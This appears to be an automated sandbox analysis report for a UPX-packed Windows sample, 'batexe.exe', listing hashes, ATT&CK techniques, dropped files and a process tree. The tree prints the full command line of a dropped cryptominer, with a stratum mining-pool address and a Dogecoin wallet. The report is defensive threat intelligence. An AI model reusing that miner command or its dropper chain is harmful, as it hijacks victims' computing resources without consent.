73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
305s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11-02-2024 21:05

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
4212	b2e.exe
2856	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2856	cpuminer-sse2.exe
2856	cpuminer-sse2.exe
2856	cpuminer-sse2.exe
2856	cpuminer-sse2.exe
2856	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/736-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 736 wrote to memory of 4212	736	batexe.exe	83
PID 736 wrote to memory of 4212	736	batexe.exe	83
PID 736 wrote to memory of 4212	736	batexe.exe	83
PID 4212 wrote to memory of 548	4212	b2e.exe	84
PID 4212 wrote to memory of 548	4212	b2e.exe	84
PID 4212 wrote to memory of 548	4212	b2e.exe	84
PID 548 wrote to memory of 2856	548	cmd.exe	87
PID 548 wrote to memory of 2856	548	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:736
- C:\Users\Admin\AppData\Local\Temp\9CAD.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9CAD.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9CAD.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A577.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:548
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9CAD.tmp\b2e.exe

Filesize
20.3MB

MD5
1d63c34ba74584de6ab4c0047470b819

SHA1
d013d51575c9c0cb647335e8799ac9abe945ddc2

SHA256
1698ec2703285d2c32000c4d92aa18f0f1fc83a43642508489c71ea268872d3d

SHA512
3d2ac2d8a7cc962c16b2fb81ce922b950181c773363a50087e94fd047c47b1032fb968f95a21a5e9abb3aa7b15c7570f0d5dfd45d251a92a61d355cda7681464

Download Submit
C:\Users\Admin\AppData\Local\Temp\9CAD.tmp\b2e.exe

Filesize
3.3MB

MD5
1defb188bb086addb5d5b32401ad9d08

SHA1
a085b8715fa6989eabdc2e88b487faa3bd990130

SHA256
5a82d3e7656c4caa2f32220c498f5eec7372ec649c88f3e85eff76a0388f1a8f

SHA512
24dd6158ae1a4e2418b9454935331b0a83dbad3603d58a619d86c6ec85afc4ad7dc007d53066aa2c8d5b91e5223410b02705d280df10a4f97753058dc50dc4e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\9CAD.tmp\b2e.exe

Filesize
4.5MB

MD5
bbe2658b03011af0e85b863527840a68

SHA1
8150000740acb7177aa363c4d63fe2e9d834a9a7

SHA256
6cb6fcab46d4be128d7edaccebd6bc73b01fd20ab35ac64c7ac44ed7470a684d

SHA512
a5f3c8613b5f34e0fd6bad6a2cecc885bf8c2fb620ab66d5d1f5236f41ee92d8b8095d43a7753e8d2af32ae33441cd005c298afe4fd4410ee09d392a3067288a

Download Submit
C:\Users\Admin\AppData\Local\Temp\A577.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.1MB

MD5
dc05e579bc637512d5fb931ab6af6ee6

SHA1
55ccc8787f0f379135fd0e16dbac97db4e304f22

SHA256
9452fb0034b4e6ec5c33fff5d2d5ceb75e94904bf4d3a1cc4a88b442c705d4ba

SHA512
89a2e00e5306a575dbb8188c2c0b0acb9ace5dbd0edbece5568684ba4e0845c122020c273ae6f20771710ff6003946f4f860f8e2e325002fb5feebda58e44c7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
10d36494b7af027802c4aa406bd5d9c6

SHA1
cfd14238c59c43f42d1d34be6ba635b9965ae96f

SHA256
20f8828b0817ec42408bca01e02f44156d416316919ab8af7796b9b1d2fcbe81

SHA512
5e456a4fb8aa226167d6043d0a32df424dcc11c066f27f3559dc0cc0913a534859d8146e4920034e3f2ddf0ec80b02c33fc3c78f0ab96cc79e843114c582287b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
b853d10c842cdedbb98156501505c5e4

SHA1
695048a32687067be8bde6a00b33a26dc147544e

SHA256
1a643363a9cf1beee60643902258f7a66fa026656347c3f5902391658639744b

SHA512
97da6071fb19851d5db5893a83ff72a68f24b0e9aae4001ddcbe004122d38f757dc506066b557ae23d05f516bcc383cda8fae4bfb2c320c97f8ae36e62deee62

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
964cc4e19f53a3ec6beb67e5db8d8e0f

SHA1
163ac52765c268515417679b89a953bd41f4bdfc

SHA256
2b432adc26c65df3c1c417a7a7e92901063951b7a043df678b4546444da2bf78

SHA512
3be9bfa1a3aa7442fac4040c0f9eda3a14a3962bd659955de761b9ac3f352caf8e39013ecfd54c436499b1a71e5ac619f7c808e449a5c46ae2243dfd02758fef

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
03ae1346c99a66fcbd06c3a56898820a

SHA1
cf57878eb1c3523d08468ba3e9e65a063c24d902

SHA256
bdb28d28d4f6093c2bbf0cbdf1b2edaf325ad34c214cde4123437896488dc445

SHA512
b1e6f93db804c65f996ae29123a601ee95830391d9f5b73608962cbcd25a9082f1b1f9a6e732e5f84bfa3bd7207101edf9d076445370150ae58c9dcace634260

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/736-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2856-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2856-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2856-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2856-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2856-45-0x000000006D880000-0x000000006D918000-memory.dmp

Filesize
608KB

Download
memory/2856-47-0x0000000001090000-0x0000000002945000-memory.dmp

Filesize
24.7MB

Download
memory/2856-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2856-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2856-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2856-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2856-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2856-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2856-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2856-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2856-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4212-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4212-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download